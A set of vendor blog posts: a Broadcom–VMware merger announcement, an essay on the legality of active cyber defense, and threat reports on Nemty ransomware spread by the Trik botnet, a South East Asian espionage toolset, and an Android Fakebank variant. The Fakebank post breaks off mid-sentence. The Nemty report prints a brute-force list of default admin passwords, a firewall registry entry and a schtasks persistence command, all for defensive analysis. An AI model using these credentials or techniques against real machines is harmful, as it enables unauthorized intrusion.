New innovations in vSphere 8 and vSAN 8, when they come to market, will help customers dramatically improve how they run, manage and secure their different enterprise applications. And the VMware Cloud Foundation+ will provide customers with consistent infrastructure and operations across private and public clouds at scale, becoming the foundation of VMware’s Edge portfolio. VMware’s new Aria portfolio gives customers a powerful multi-cloud management system that can also be connected to the management of their private cloud. These will be compelling offerings across the entire VMware portfolio.
I also had the opportunity to walk the expo floor and observed all the activity across VMware’s robust ecosystem of partners, customers and employees. I’m sure this energy will transfer to the event’s technical sessions, where customers can learn more about VMware’s innovations.
Transaction Benefits
Following the close of the transaction, the combination of Broadcom and VMware will continue to provide customers an innovative, flexible and sustainable software platform, enabling them to build, run, manage, connect, deliver and protect their applications -- everywhere. Whether it be on premises, in a private cloud, multiple clouds or at the edge, solutions from the combined Broadcom and VMware organization will give customers greater choice to address their most complex IT infrastructure challenges.
With the completion of this transaction, Broadcom will be a new participant in the multi-cloud era, and VMware will be the flagship of our combined software offerings. Together, we will be guided by a commitment to provide customers more control, flexibility, and choice to design and navigate their IT software platforms.
We will keep the VMware community informed about what’s ahead once the transaction closes! To stay updated on the transaction, click here.
Cautionary Statement Regarding Forward-Looking Statements
This communication relates to a proposed business combination transaction between Broadcom Inc. (“Broadcom”) and VMware, Inc. (“VMware”). This communication includes forward-looking statements within the meaning of Section 21E of the U.S. Securities Exchange Act of 1934, as amended, and Section 27A of the U.S. Securities Act of 1933, as amended. These forward-looking statements include but are not limited to statements that relate to the expected future business and financial performance, the anticipated benefits of the proposed transaction, the anticipated impact of the proposed transaction on the combined business, the expected amount and timing of the synergies from the proposed transaction, and the anticipated closing date of the proposed transaction. These forward-looking statements are identified by words such as “will,” “expect,” “believe,” “anticipate,” “estimate,” “should,” “intend,” “plan,” “potential,” “predict,” “project,” “aim,” and similar words or phrases. These forward-looking statements are based on current expectations and beliefs of Broadcom management and current market trends and conditions.
These forward-looking statements involve risks and uncertainties that are outside Broadcom’s control and may cause actual results to differ materially from those contained in forward-looking statements, including but not limited to: the effect of the proposed transaction on our ability to maintain relationships with customers, suppliers and other business partners or operating results and business; the ability to implement plans, achieve forecasts and meet other expectations with respect to the business after the completion of the proposed transaction and realize expected synergies; business disruption following the proposed transaction; difficulties in retaining and hiring key personnel and employees due to the proposed transaction and business combination; the diversion of management time on transaction-related issues; the satisfaction of the conditions precedent to consummation of the proposed transaction, including the ability to secure regulatory approvals on the terms expected, at all or in a timely manner; significant indebtedness, including indebtedness incurred in connection with the proposed transaction, and the need to generate sufficient cash flows to service and repay such debt; the disruption of current plans and operations; the outcome of legal proceedings related to the transaction; the ability to consummate the proposed transaction on a timely basis or at all; the ability to successfully integrate VMware’s operations; the impact of public health crises, such as pandemics (including COVID-19) and epidemics and any related company or government policies and actions to protect the health and safety of individuals or government policies or actions to maintain the functioning of national or global economies and markets; cyber-attacks, information security and data privacy; global political and economic conditions, including rising interest rates, the impact of inflation and challenges in manufacturing and the global supply chain; and events and trends on a national, regional and global scale, including the cyclicality in the semiconductor industry and other target markets and those of a political, economic, business, competitive and regulatory nature.
These risks, as well as other risks related to the proposed transaction, are included in the registration statement on Form S-4 and proxy statement/prospectus that has been filed with the Securities and Exchange Commission (“SEC”) in connection with the proposed transaction. While the list of factors presented here is, and the list of factors presented in the registration statement on Form S-4 are, considered representative, no such list should be considered to be a complete statement of all potential risks and uncertainties. For additional information about other factors that could cause actual results to differ materially from those described in the forward-looking statements, please refer to Broadcom’s and VMware’s respective periodic reports and other filings with the SEC, including the risk factors identified in Broadcom’s and VMware’s most recent Quarterly Reports on Form 10-Q and Annual Reports on Form 10-K. The forward-looking statements included in this communication are made only as of the date hereof. Neither Broadcom nor VMware undertakes any obligation to update any forward-looking statements to reflect subsequent events or circumstances, except as required by law.
No Offer or Solicitation
This communication is not intended to and shall not constitute an offer to buy or sell or the solicitation of an offer to buy or sell any securities, or a solicitation of any vote or approval, nor shall there be any sale of securities in any jurisdiction in which such offer, solicitation or sale would be unlawful prior to registration or qualification under the securities laws of any such jurisdiction. No offering of securities shall be made, except by means of a prospectus meeting the requirements of Section 10 of the U.S. Securities Act of 1933, as amended.
Additional Information about the Transaction and Where to Find It
In connection with the proposed transaction, Broadcom has filed with the SEC a registration statement on Form S-4 that includes a proxy statement of VMware and that also constitutes a prospectus of Broadcom. Each of Broadcom and VMware may also file other relevant documents with the SEC regarding the proposed transaction. The registration statement has not yet become effective and the proxy statement/prospectus included therein is in preliminary form. This document is not a substitute for the proxy statement/prospectus or registration statement or any other document that Broadcom or VMware may file with the SEC. The definitive proxy statement/prospectus (if and when available) will be mailed to stockholders of VMware. INVESTORS AND SECURITY HOLDERS ARE URGED TO READ THE REGISTRATION STATEMENT, PROXY STATEMENT/PROSPECTUS AND ANY OTHER RELEVANT DOCUMENTS THAT MAY BE FILED WITH THE SEC, AS WELL AS ANY AMENDMENTS OR SUPPLEMENTS TO THESE DOCUMENTS, CAREFULLY AND IN THEIR ENTIRETY IF AND WHEN THEY BECOME AVAILABLE BECAUSE THEY CONTAIN OR WILL CONTAIN IMPORTANT INFORMATION ABOUT THE PROPOSED TRANSACTION. Investors and security holders may obtain free copies of the registration statement and proxy statement/prospectus and other documents containing important information about Broadcom, VMware and the proposed transaction, once such documents are filed with the SEC through the website maintained by the SEC at http://www.sec.gov. Copies of the documents filed with the SEC by Broadcom may be obtained free of charge on Broadcom’s website at https://investors.broadcom.com. Copies of the documents filed with the SEC by VMware may be obtained free of charge on VMware’s website at ir.vmware.com.
Participants in the Solicitation
Broadcom, VMware and certain of their respective directors and executive officers may be deemed to be participants in the solicitation of proxies in respect of the proposed transaction. Information about the directors and executive officers of Broadcom, including a description of their direct or indirect interests, by security holdings or otherwise, is set forth in Broadcom’s proxy statement for its 2022 Annual Meeting of Stockholders, which was filed with the SEC on February 18, 2022, and Broadcom’s Annual Report on Form 10-K for the fiscal year ended October 31, 2021, which was filed with the SEC on December 17, 2021. Information about the directors and executive officers of VMware, including a description of their direct or indirect interests, by security holdings or otherwise, is set forth in VMware’s proxy statement for its 2022 Annual Meeting of Stockholders, which was filed with the SEC on May 27, 2022, VMware’s Annual Report on Form 10-K for the fiscal year ended January 28, 2022, which was filed with the SEC on March 24, 2022, a Form 8-K filed by VMware on April 22, 2022 and a Form 8-K filed by VMware on May 2, 2022. Other information regarding the participants in the proxy solicitations and a description of their direct and indirect interests, by security holdings or otherwise, are or will be contained in the proxy statement/prospectus and other relevant materials to be filed with the SEC regarding the proposed transaction when such materials become available. Investors should read the proxy statement/prospectus carefully before making any voting or investment decisions. You may obtain free copies of these documents from Broadcom or VMware using the sources indicated above.
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Navigating the Risky Terrain of Active Cyber Defense
There’s growing interest in taking more aggressive steps that take the fight to cyber attackers. But it also means watching a fine line.
Almost everyone is familiar with the adage that “the best defense is a good offense.” But what happens when your good offense might also be illegal?
That’s more than an academic question for organizations seeking to counter the deluge of cyber attacks plaguing our highly connected, digitally dependent world. In the face of these assaults, companies are showing increased interest in so-called “active cyber defense (ACD).” ACD measures aim to proactively combat attackers rather than simply build static perimeter defenses.
The problem: some ACD activities can cross the line between legal defensive measures and prohibited offense techniques. This uneasy balance is reflected in the fact that people often associate ACD with the notion of “hacking back” against attackers.
This ambiguity is evident in how the Defense Advanced Research Projects Agency (DARPA) summarizes its own ACD program. DARPA says ACD gives defenders “the ability to perform defensive operations that involve direct engagement with sophisticated adversaries in DOD-controlled cyberspace.” At the same time, DARPA cautions, “These capabilities would be solely defensive in nature…”
In practice, the concept of ACD encompasses a range of activities from those that are fairly common and benign to those that are more aggressive and currently illegal. Dr. Irving Lachow, a visiting fellow at Stanford University’s Hoover Institution recently gave a presentation to U.S. congressional staffers in which he laid out a spectrum of ACD activities. Lachow is also deputy director of cyber strategy and execution at The MITRE Corp.
On the safe side of the ACD spectrum, Lachow said, are activities such as installing software patches that address security vulnerabilities, or subscribing to threat intelligence services and modifying cyber defenses in response to newly identified threats.
At the aggressive end of the spectrum are hack-back attempts to recover stolen digital assets, the temporary or extended disruption of an adversary’s networks, and efforts to damage an adversary’s assets. These and other activities are prohibited by various U.S. laws, including the Computer Fraud and Abuse Act.
There are various efforts underway to lessen the legal limbo that organizations will find themselves in if they undertake certain ACD activities. Most notably, Representative Tom Graves has introduced a bill called the Active Cyber Defense Certainty Act (ACDCA) for consideration by the U.S. House of Representatives Judiciary Committee. The bill aims “to provide a defense to prosecution for fraud and related activity in connection with computers for persons defending against unauthorized intrusions into their computers…”
The ACDCA would establish a two-year pilot program managed by the FBI in coordination with other federal agencies. During this program companies that voluntarily engage in ACD actions authorized by the bill would be immune from criminal – though not civil – prosecution. Among the permitted activities, defenders could access without authorization an attacker’s computer:
To gather information to establish attribution of criminal activity
To disrupt the continued unauthorized activity by the attacker
To monitor the behavior of an attacker
At the same time, the bill would prohibit a number of actions (all of which are already illegal). Some, but not all, of the prohibitions include:
Intentionally destroying information that does not belong to the victim and is stored on another entity’s computer
Recklessly causing physical injury or financial loss
Creating a threat to public safety or health
Intentionally accessing or intruding into an intermediary’s computer
Government Guidelines
In part, to avoid an “escalatory cycle of cyber activity,” the ACDCA sets forth a requirement that defenders notify the FBI’s National Cyber Investigative Joint Task Force about their plans to initiate an ACD action, and receive an acknowledgement from the task force before they initiate any action. As part of this notification, the would-be defender must describe the nature of the cyber breach they’ve experienced, the intended target of their ACD action, their plans to preserve evidence of the intrusion, and the steps they will take to prevent damage to intermediary computers.
As should be evident, even as it attempts to deliver the legal “certainty” its name promises, the ACDCA implicitly makes clear that many legally gray areas are likely to remain even should it ultimately become law.
For example, the act charges the Department of Justice with determining what protocols ACD defenders should follow for returning intellectual property, financial records, and other private property “gathered inadvertently. It also cautions that ACD techniques should only be used by “qualified defenders” – without establishing any certification program – and warns defenders to avoid violating the laws of any other nation “where an attacker’s computer may reside.”
Perhaps inadvertently, the ACDCA does as much to illuminate the complexity and risks associated with ACD actions as it does to carve out a safe space within the ACD realm. As noted, however, the proposed bill is just one of several efforts to better define acceptable ACD actions and to give organizations the means to better protect their cyber assets. For example, the secretary of the U.S. Department of Homeland Security recently told a Senate panel that DHS is providing undefined ACD “tools and resources” to private companies so that they can more proactively defend themselves.
Organizations seeking to navigate within the ever-shifting ACD landscape can safely do so by employing those ACD measures that proactively bolster their internal defenses when existing vulnerabilities and emerging threats are identified. Before embarking on efforts that, per DARPA, directly engage with sophisticated adversaries, however, it would still be wise to err on the side of caution rather than aggression.
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Nemty Ransomware Expands Its Reach, Also Delivered by Trik Botnet
A look into how Trik spreads Nemty, as well as some key updates made to the latest version of the ransomware.
The Nemty ransomware (Ransom.Nemty), initially detected in August 2019, has increased its reach by partnering up with the Trik botnet (Trojan.Wortrik), which now delivers Nemty to compromised computers.
Trik, also known as Phorpiex, has been around for approximately 10 years. In its early days, the malware self-propagated via removable USB drives, Windows Live Messenger, or Skype private messages. The criminals behind the botnet use the infected computers to send email spam and have been observed pushing out a wide range of malware families, with Nemty being the latest to join the list.
Nemty, meanwhile, first appeared on the scene in mid-August 2019. While the malware first appeared to be a run-of-the-mill ransomware, a constant series of changes to the threat made it apparent that it was very much a work in progress and something to be taken seriously.
In the past, Nemty has been observed being spread via the RIG exploit kit, as well as via malicious spam campaigns targeting users in Korea and China, where the malware is attached inside an archive.
Figure 1. Fake résumé-themed Korean malicious spam containing Nemty in the attachment
Our data shows that most Nemty infections are found in Korea and China.
Figure 2. Nemty infections by country
In early October, we noticed that Trik had begun distributing Nemty as a payload, adding another channel for the ransomware’s delivery.
How Trik spreads Nemty using the SMB protocol
We observed a recent version of Trik delivering a tiny component that uses the Server Message Block (SMB) protocol and a list of hardcoded credentials to try to connect to remote computers with port 139 open.
First, the SMB component creates the following registry entry:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\"[PATH OF THE ORIGINAL FILE]" = "[PATH OF THE ORIGINAL FILE]:*:Enabled: Windows NetBIOS Driver"
Trik then checks if the file winsvcs.txt is present or not in the %AppData% directory on the compromised computer. This file is present if the computer has previously been infected with Trik.
If winsvcs.txt is not present, the Nemty ransomware is downloaded and executed. This check prevents Trik from being hindered by files on the computer being encrypted by Nemty.
If winsvcs.txt is present, the SMB component checks if it is running as a service or not.
If it is not running as a service, the component tries to spread itself through the SMB protocol.
Figure 3. SMB component either downloads Nemty from a C&C server or spreads itself to other computers
To find targets, the SMB component generates random IP addresses then tries to connect to them on port 139.
Figure 4. Trik’s SMB component generates random remote IP addresses to connect to
From analysing the malware’s code, we can see that it skips the routine if the created IP address is a local one (Figure 4). The malware can infect public IP addresses with port 139 open that are using any of the common administrator usernames and passwords on its list.
Usernames: Administrator, administrator, Admin, admin
Passwords: 123, 1234, 12345, 123456, 1234567, 12345678, 123456789, 1234567890, 123123, 12321, 123321, 123abc, 123qwe, 123asd, 1234abcd, 1234qwer, 1q2w3e, a1b2c3, administrator, Administrator, admin, Admin, admin123, Admin123, admin12345, Admin12345, administrator123, Ad ministrator123, nimda, qwewq, qweewq, qwerty, qweasd, asdsa, asddsa, asdzxc, asdfgh, qweasdzxc, q1w2e3, qazwsx, qazwsxedc, zxcxz, zxccxz, zxcvb, zxcvbn, passwd, password, Password, login, Login, pass, mypass, mypassword, adminadmin, root, rootroot, test, testtest, temp, temptemp, foofoo, foobar, default, password1, password12, password123, admin1, admin12, admin123, pass1, pass12, pass123, root123, abc123, abcde, abcabc, qwe123, test123, temp123, sample, example, internet, Internet
If access is granted, the malware uses the SMB protocol to copy itself to the remote machine. It then uses the Windows Service Control Manager to start the SMB component’s process on the remote machine. The sample running on the remote machine also checks for the presence of winsvcs.txt, which again determines whether or not Nemty is downloaded and executed.
Figure 5. The SMB component copies itself to the remote machine and starts a process through the Windows Service Control Manager API
Ransom.Nemty technical analysis
Other researchers have provided a detailed analysis of Nemty 1.0. However, during our analysis of Nemty 1.6, we noted some key updates compared to 1.0, which are listed here:
Nemty 1.6 closes certain applications and stops services which may be using files which the ransomware would not be able to encrypt otherwise.
Figure 6. Nemty closing processes and stopping services
Nemty 1.6 gains persistence by adding a scheduled task using the following command:
cmd.exe /c schtasks.exe /create /sc onstart /tn “NEMTY_<FILEID>_” /tr “C:\Users\user\AdobeUpdate.exe”
It deletes shadow copies and backups before, rather than after (as 1.0 does), encryption.
It adds two new exclusion folders: $RECYCLE.BIN and %AppData%.
Version 1.6 stores its configuration file, file ID, and public key (RSA-2048) in the registry entry HKEY_CURRENT_USER/Software/NEMTY with the subkeys “cfg”, “fid”, and “pbkey” respectively.
Finally, for 1.6, the malware authors decided to use Windows CryptoAPI instead of their custom AES-256 implementation which, as other researchers found, was non-standard and buggy. We also observed some discrepancy in the encryption algorithm while testing Nemty 1.0 (see Figure 9). The same issue was found in 1.6 (see Figure 10). We were unable to test the decryption because the URL the attackers listed for decryption verification was inaccessible.
Figure 7. Discrepancy in Nemty 1.0’s encryption
Figure 8. Discrepancy in Nemty 1.6’s encryption
The developers behind the Nemty ransomware are constantly updating and improving its code, as well as its delivery methods, in an attempt to reach more victims. The Trik botnet, itself known for adapting to the latest trends in order to stay relevant, makes a perfect partner in crime for Nemty.
Protection/Mitigation
Symantec has the following protection in place to protect customers against these attacks:
File-based protection
Ransom.Nemty
Trojan.Wortrik
Network-based protection (Intrusion Prevention System)
System Infected: Ransom.Nemty Activity
Symantec Email Security.cloud technology blocks email spreading this threat using advanced heuristics.
Indicators of Compromise
Nemty
62c3b52b5310393dbf0590bc246161249632a1d2f21c3aa7fb779dc8018a0edf
5078a0940abc31a7fa271483ac345044a91a0e21c517bceb85091cd3fca310f7
Trik
0c77b260ee3fdd2754cd4f289efce709519aad34fa3cb84663655a6240e45973
1ab8feefd67f3706a42f996a3291d24a7ab2c5eb67d98236eb73995d587576ad
3ecb650c471d7c8291d084fffd634da0eddc9a473d29792d5033fe5fdcbf4ddd
64d187bed40d023e14d41b1a80d528f5c12dcf743fcb4de91530567d3244e09e
77689e7752470501d26cf8a5e2eb9b4e1ac372b27b2151268e0acf024e355f99
81dab2787f72997afb09fb98ada159f78c3e93f9d3fa83f844e580620d08322a
87fb207ae29baa300c2377625b745667a516e2243e1904ef81b4f7b97b5da1b0
9875c102bbe89ad636096efca6b04d6b843529eb9717d822f7b0b42a087c7332
a0170a01e656cf7089a0d68a1803c3e2ba64ba8996c8eb5ffa8098940cb4c0ec
b9b4511065cb56bd162e143c22cf2afe32e3ee6617ba5a4852182cb0781f18f1
c6f43bedad8b0c3f60d71a2a6c1fab297e144483f17deeb5150bdbe6c73755a4
d746e41e18bb637062881aca207186dc3d005e79c857e025f89ce2a1b3e52ecf
d9edee0541b9a5baf2cb2b1915aef1d034efd4edd4b3c030b508669da1e2aaf2
db627ff946ff64910cf909c81ae51294c4bb6477ee2c620aae1d0f7a7208b6b5
f4909c420e208e4728116e8b0f4254c9f741d864f9618cddbe3f51b71f602066
fa2993f2455971244350178008cc671fb739b53d79b594c80e69047421ce1666
Trik SMB component
bf480a5862210b9e033f270379bb95c1d1fadd16bf0d21db5bfbc9268ae595ac
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Network Security + Endpoint Security = Better Together
Open APIs enable shared intelligence and proactive action across systems
For too long, information security has been a piecemeal battle. Security leaders have been forced to stitch together an array of point products that weren't designed to work together, leaving gaps and overlaps in their ability to fight the bad guys.
That's exactly why the combination of Symantec and Blue Coat is so exciting for us. We've combined two security pioneers with deep roots across several categories – and the unified portfolio enables us to attack new and old security challenges with clear focus, deep intelligence and smart software.
Symantec Endpoint Protection 14 helps bring that integrated vision to fruition. Specifically, we're delivering pre-built integrations with Blue Coat's Secure Web Gateway that allow companies for the first time to leverage and orchestrate security management across network proxies and endpoints. Endpoint security now learns from network security, and vice versa. Threats can be identified and blocked at either control point. Customers no longer need to build their own integrations and correlations – allowing network and security leaders to focus on fighting the bad guys rather than fighting their technology.
This is just one step in Symantec's vision of an integrated cyber defense platform that listens, learns and adapts across the enterprise. It's also an important sign of maturity in the security market – and comes at the right time for security leaders who face more threats on more fronts at a faster pace than ever before.
How Does Integrated Endpoint + Network Security Work?
Let's start with some background on the core products involved:
Symantec Endpoint Protection 14 provides protection, detection and response for advanced malware within a single endpoint agent – including innovations for advanced machine learning, memory exploit mitigation and packer emulation, along with proven technologies for file reputation and behavior analysis, application and device control, firewall and intrusion prevention. All of this is powered by the world's largest civilian threat intelligence network, consisting of telemetry data from 175 million endpoints and 57 million attack sensors in 157 countries, providing unique visibility into the latest security threats.
Meanwhile, on the network itself, Blue Coat' Secure Web Gateway authenticates, decrypts and inspects Internet content for compliance and advanced threat protection. The gateway's full proxy architecture allows it to effectively monitor, control and secure traffic to ensure a safe Internet experience. Security leaders can enforce policies, detect threats and block advanced attacks from entering their network. Traffic is terminated at the proxy and all downloaded and uploaded objects are processed through multiple layers of security in a single efficient pass.
So how do they work together? Symantec Endpoint Protection 14 opens its APIs to collaborate with Secure Web Gateway, allowing the two products to communicate with each other and share blacklists, whitelists, security logs, etc. Data and insights are exposed through the Content Analysis System software (v2.1) built into Secure Web Gateway products (including Advanced Security Gateway and Blue Coat ProxySG).
Security managers simply log in to the Content Analysis System console to set up the integration with Symantec Endpoint Protection manager. From there, security managers can look at logs across their security infrastructure, define correlation parameters and set remediation roles all from the same console – without needing to switch back and forth. Beyond making it easier to use, the combined system allows leaders to benefit from the most powerful threat data set that you can possibly combine – leveraging insight from thousands of customers, millions of networks and billions of endpoints captured via Symantec's and Blue Coat's combined Global Intelligence Network.
What Are the Use Cases for Endpoint + Network Security?
Here are some common use cases that are easily addressed by the integration between Symantec Endpoint Protection and Secure Web Gateway:
Network to Endpoint Incident Verification: When security managers receive an alert from Blue Coat's sandboxing system, they want to know what endpoints across their entire network have seen these same indicators of compromise. This will shorten incident response time by eliminating hours or days of unnecessary work to confirm if the malicious sample infected the endpoint. The workflow is simple: the Blue Coat sandbox discovers malicious content, then Blue Coat's Content Analysis System queries Symantec endpoints to verify indicators (file hash, registry changes, URLs, process name, registry changes, etc.). The list of infected endpoints (along with a URL to Symantec management) are then added to the sandbox report showing the administrator not only what happened in the sandbox but what endpoints are infected.
Endpoint Blacklisting: Security managers want attacks that are discovered via the network to be isolated without spreading to other endpoints. Again, the workflow is simple: Blue Coat's sandbox discovers malicious content with high certainty, and Blue Coat's Content Analysis System queries Symantec Endpoint Protection – and adds a file to the blacklist for all endpoints via the Symantec Endpoint Protection Manager. This prevents the spread of this file to other endpoint devices.
Beyond these use cases, Symantec will continue extending integration between endpoint and network security to address other customer needs. We also anticipate our customers will identify new use cases as they explore the possibilities.
Bottom Line: Better Protection from Endpoint to Cloud
Security leaders can now leverage and optimize protection across networks and endpoints, providing a full spectrum of threat protection with fewer integration headaches. Shared intelligence results in early and effective threat detection, fueled by a massive global intelligence network. Granular controls allow you to take proactive action to blacklist attacks and apply security policies that prevent the spread of attacks. And automated remediation allows you to remediate issues with one click via integrated management consoles.
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Check out our webinar with Adrian Sanabria from 451 Research to learn more about next-generation endpoint protection, and watch this space for regular blog posts that drill deeper into key capabilities with insights from Symantec and third-party experts.
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New DHS Program Presents Security Opportunity for Fed Tech Leaders
The rollout of CDM Phase 3 gives agencies more latitude than ever before to use new and innovative solutions to improve security
Phase 3 of the Department of Homeland Security’s Continuous Diagnostics and Mitigation (CDM) program promises to be a significant departure from the first two phases.
Phase 1 and Phase 2 focused on raising the baseline for security in the federal government. Agencies were required to tell what is on their network (Phase 1) and who is on their network (Phase 2). While these are important steps to set a baseline, it did not provide agencies much flexibility in terms of how they executed the requirements.
That all changes in Phase 3. This phase looks at the overall network – from on-premise to the cloud – with an eye towards discerning what is actually happening on that network. This phase provides federal agencies with some flexibility to make technology decisions that can make a lasting impact. With a large amount of latitude in terms of how to implement security improvements, those agencies that simply look to check the compliance box will be missing out on a huge opportunity.
Compliance in CDM Phase 3 does not equal enhanced security. It is a baseline that, if met, will allow agencies to move forward with the next step of the program, but does not fully provide the level of security federal agencies ultimately need. So, as agencies look to fulfill the requirements set forth in Phase 3, there are key areas where they can invest to offer both the compliance and a significantly more advanced security posture.
Filling Capability Gaps
Phase 3 directs agencies to understand what is happening on their network. This, in itself, has been a difficult task in the past, not only for federal agencies but across all sectors. Nefarious actors pride themselves on finding areas of low visibility on networks and later exploit them to steal data. This has become even more prevalent with the advent of the cloud and the elimination of the traditional network “boundary.”
Agencies should use the Phase 3 baseline as just that…a baseline. The opportunity for agencies is to fill the gap between what is outlined in the program and what they can implement to actually lock-down the network with current technologies, providing more capability and less overhead than what is considered compliant under Phase 3.
First and foremost, agencies should consider disappearing network boundaries. Cloud computing has changed the boundaries federal technology leaders have become accustomed to. Historically, the boundary was the physical agency itself, or in some cases, a single remote office. Now the boundary extends to anywhere an employee can access data through a secure (or unsecure, for that matter) connection.
As a result, agencies now need to look at the boundary as being where the data resides, and need to consider enterprise-wide security solutions that protect the data layer. As data leaves an agency’s traditional boundary, it is essential to identify where it is travelling, while enabling advanced protections. This capability is important to:
Control who can access data, even from unmanaged locations or devices
Define what level of access a user has using digital rights management technology
Monitor user access to data to identify anomalies, unusual or risky behaviors or security compromise
Revoke access to users as necessary, effectively digitally shredding a document
Agencies will also want to look into other security protocols that can protect the data in the cloud. Offerings, like cloud access security brokers, provide visibility into shadow IT, governance over data in cloud apps, as well as protection against threats targeting cloud accounts. Incorporating mobile security features, including secure endpoints, along with future-looking capabilities like advanced threat protection and incident response features that can quickly mitigate risks before they happen should round out this enterprise security approach.
Benefiting from Phase 3
CDM has done a tremendous job moving agency security standards forward. Combined with IT modernization efforts, the federal government is taking major strides to improve overall cyber security within agencies, looking at the inherent flaws in current systems and creating a plan to fix them.
CDM Phase 3 should not just be seen as another list of compliance benchmarks to check off, but an opportunity to greatly improve the government’s cyber security posture. While the baselines themselves will not make agencies fully secure, forward-thinking agencies can use CDM Phase 3 as an opportunity to modernize, enhance and deliver systems that truly protect data, meeting and exceeding the expectations of the program.
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New Espionage Campaign Targets South East Asia
Unknown attacker using previously undocumented toolset targets defense, healthcare, and ICT sectors.
An espionage campaign using a previously undocumented toolset has targeted a range of organizations in South East Asia. Among the identified targets are organizations in the defense, healthcare, and information and communications technology (ICT) sectors. The campaign appears to have begun in September 2020 and ran at least until May 2021.
The toolset used by the attackers includes loaders, a modular backdoor, a keylogger, and an exfiltration tool designed to abuse cloud storage service Dropbox.
Attacker toolbox
The initial infection vector employed by the attackers remains unknown. The earliest sign of attempted compromise is a loader that decrypts and loads a payload from a .dat file. At least two different file names have been observed for the .dat file: sdc-integrity.dat and scs-integrity.dat. The loader also calls the DumpAnalyze export from the decrypted payload.
The payload has yet to be identified but is almost certainly a modular backdoor. This can be inferred from one of the modules identified. This "Orchestrator" module points to the existence of a separate DLL module that exposes at least 16 functions, as well as the existence of a custom binary command and control (C&C) protocol used by Orchestrator but implemented separately.
This module appears to be a core component of the backdoor. It runs as a Windows service and a large part of its functionality is implemented in a separate DLL that is loaded from registry (located in HKEY_CLASSES_ROOT\.z\OpenWithProgidsEx\<value_name_resolved_at_runtime>).
The module is expected to export the following functions:
Construct
ConnectHost1
ForceCloseSocket
Accept
Recv
RecvEx
Send
SendEx
BindShell
TransmitData_htran
KillChildenProcessTree (sic)
ExtractIPToConnect
ExtractIPToConnect1
GetDeviceInfoString1
GetPseudoSocketInfo
Decrypt_ByteToByte
The module loads a configuration either from a file (CSIDL_COMMON_APPDATA\Microsoft\Crypto\RSA\Keys.dat) or from the registry (HKEY_CLASSES_ROOT\.z\OpenWithProgidsEx\CONFIG). The configuration is encrypted. The module uses the function Decrypt_ByteToByte from the separate DLL to decrypt the configuration. The configuration is expected to contain the following options (stored in XML format):
FLAG
Ip
Dns
CntPort
LstPort
Blog
DropboxBlog
SvcName
SvcDisp
SvcDesc
SvcDll
OlPass
OlTime
SelfDestroy
The module also uses the hardcoded mutex name, Global\QVomit4.
Other tools used in the campaign include a keylogger, which shows signs of being authored by the same developer, sharing unique strings with other tools and string obfuscation techniques. The attackers also used 7zr, a legitimate tool that is a lightweight version of the 7-Zip archiver, in addition to a data-exfiltration tool that sends stolen data to Dropbox.
Possible false flags
The nature of the targets and the tools used have all the hallmarks of an espionage operation. Symantec has yet to attribute the attacks to a known actor and it appears that the attackers took some steps to complicate attribution. For example, it is not clear what language the group speaks and samples of the backdoor module found contained strings in what appeared to be both Cyrillic and Urdu scripts.
The only potential clue found to date is that one of the organizations attacked was also targeted by a tool used by the China-linked Leafhopper group (aka APT30) during the same time period. However, there is no evidence as yet to tie the tool to this campaign.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
Hash Description
bac4b50727c69ca7cc3c0a926bb1b75418a8a0eabd369a4f7118bb9bba880e06 Loader
b04be710feba6a070107ff276e1e17e348f534eb9be142271e1ea2fcffa1ef9b Loader
b25f3e8d1b7fcef6a54fc959d7e82c6a4e2da3836e98766ae4a157484da0b9b1 Loader
1af5252cadbe8cef16b4d73d4c4886ee9cecddd3625e28a59b59773f5a2a9f7f Orchestrator module
a6f75af45c331a3fac8d2ce010969f4954e8480cbe9f9ea19ce3c51c44d17e98 Orchestrator module
3d1ff2ded43e2d9c2e6e07e71f0e3adb815ea0eef7ca391ee272b874807add4a Orchestrator module
07904ce020b55a6343005db5a5dad7d841db8300fb270c78e8585903e1de13e2 Exfiltration tool
a15eda7c75cf4aa14182c3d44dc492957e9a9569e2d318881e5705da2b882324 Keylogger
967e8063bd9925c2c8dd80d86a6b01deb5af54e44825547a60c48528fb5f896d Keylogger
64f036f98aad41185163cb328636788a8c6b4e1082ae336dad42b79617e4813d Keylogger
91b3022e776d1ffb350e550911d08f10d30678bcb4c17d9c0ae5088f5e63146e Unknown file
c3aee1f79e27af6ddc8ded38bfdfab004ad489c8f81f7928cfea5c05a3605338 Suspected loader
37d0c0afaa77c7363b6515eff9590eba546cce2a751a454d5200a25b7c24dfef Unknown file
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New Fakebank Variant Intercepts Calls to Connect Banking Users to Scammers
A new variant of the Fakebank malware can intercept Android users’ banking-related incoming and outgoing calls.
We’ve recently come across a new malicious behavior among apps infected with Android.Fakebank: interception of phone calls made by users to their banks. These apps are sourced from third-party Android markets and some social media sites. We’ve discovered 22 apps so far, targeting Korean bank clients.
The Fakebank variants we’ve seen in the past usually collect bank SMS, record phone calls to banks, and display a fake bank login UI. This new variant, however, is able to intercept calls both incoming and outgoing.
"New Android Fakebank variant can intercept calls to and from banks http://symc.ly/2FG9k5J "
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When the app is launched, it collects and submits user’s personal information to a command and control (C&C) server, and presents its display (Figure 1).
Figure 1. Malware UI spoofing a legitimate bank app
The server will respond with configuration specifying the phone numbers that will be used in the scam (Figure 2).
Figure 2. Sample configuration for call interception (numbers have been modified)
Four numbers are passed to the malware app:
phoneNum_ChangeNum: The legitimate bank’s phone number that will be replaced when the user dials it
phoneNum_To: The number of a scammer, ready to impersonate a bank agent. This number will actually be dialed when the user tries to call the bank
phoneNum_Come: The number of a scammer that will call the victim. When this number calls the phone, the fake caller ID overlay will appear
phoneNum_ShowNum: The legitimate bank number that should be used to overlay the scammer’s incoming/outgoing caller ID
This allows the app to deceive users, when the configured phone numbers appear for an outgoing or incoming call:
Outgoing call: When users call a real banking phone number, the malware is able to intercept and transfer the call to the scammer’s configured phone number. Additionally, the app will overlay a fake UI to reflect the legitimate number.
Incoming call: When a call comes in from a scammer, the app will overlay a fake UI dialog that spoofs a legitimate bank caller ID and number.
When users call a real banking phone number, the malware is able to intercept and transfer the call to the scammer’s configured phone number. When a call comes in from a scammer, the app will overlay a fake UI dialog that spoofs a legitimate bank caller ID and number.
The APIs and associated permission used to carry out this deception (android.permission.SYSTEM_ALERT_WINDOW) have evolved across Android versions. This malware optimizes its version targets to avoid requesting permissions from the user:
For versions prior to Android 6, the permission is required to be declared in the manifest (and will appear in the dialog on install).
